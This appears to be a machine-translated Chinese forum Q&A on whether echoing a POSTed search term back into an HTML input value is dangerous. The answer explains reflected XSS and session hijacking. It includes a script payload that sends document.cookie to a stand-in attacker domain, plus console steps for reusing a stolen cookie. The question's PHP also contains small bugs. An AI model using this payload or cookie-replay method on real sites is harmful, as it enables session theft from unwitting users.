我有一个搜索表单:
<form method="POST">
<input type="search" name="q">
<input type="submit" value="Search" name="search">
</form>
然后在PHP文件中:
if( isset($_POST['q']) ){
//Assigning the posted query to a variable.
$query = $_POST['q'];
//Get matches from the DB.
$stmt = $conn->prepare('SELECT * FROM posts WHERE title OR description LIKE :s');
$stmt->bindValue(':s', '%' . $query . '%', PDO::PARAM_STR);
$stmt->execute();
$count = $stmt->rowCount();
//if there are matches.
if($count > 0){
//Get the matches.
$matches = $stmt->fetchAll();
foreach($posts as $post){
//Do Something.
}
}
}
现在一切都很好,我想,为什么我要做以下事情:
<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">
或:
<input type="search" value="<?php if(isset($query)){echo $query;} ?>" name="q">
这会导致袭击吗?
攻击者可以使用XSS向不知情的用户发送恶意脚本。
例如,攻击者可以在他的网站上制作一个表单,该表单被重定向到您的地址,其中包含以下内容:
<input type="search" value="<?php if(isset($_POST['q'])){echo $_POST['q'];} ?>" name="q">
通过使用这种方法,攻击者可以做一些简单但危险的事情。
最危险的事情之一是((复制并使用目标用户的cookie(。这意味着攻击者可以将其作为默认形式键入:
"><script>document.location='http://Hacker'sDomain.com/cookiestealer.php?cookie='+document.cookie;</script>
正如你所看到的,黑客可以很容易地保存目标用户的cookie。。。
现在黑客有了用户的cookie(假设用户已经登录(。所以他可以很容易地将其放在浏览器的控制台中,并作为目标用户登录!!:
document.cookie="Stealed Cookie Here!";
为了更好地理解,您可以通过在浏览器控制台中执行document.cookie
来复制cookie,并通过执行以下操作将其粘贴到另一个浏览器或PC:document.cookie="Put the copied cookie here"
请注意,每个网站和每次登录时保存的cookie都是不同的,所以这很难,黑客需要一点机会来做到这一点:(
附言:你可以按F12键进入浏览器的控制台。
如果你想让我用更多的代码解释更多,只需在评论中说:(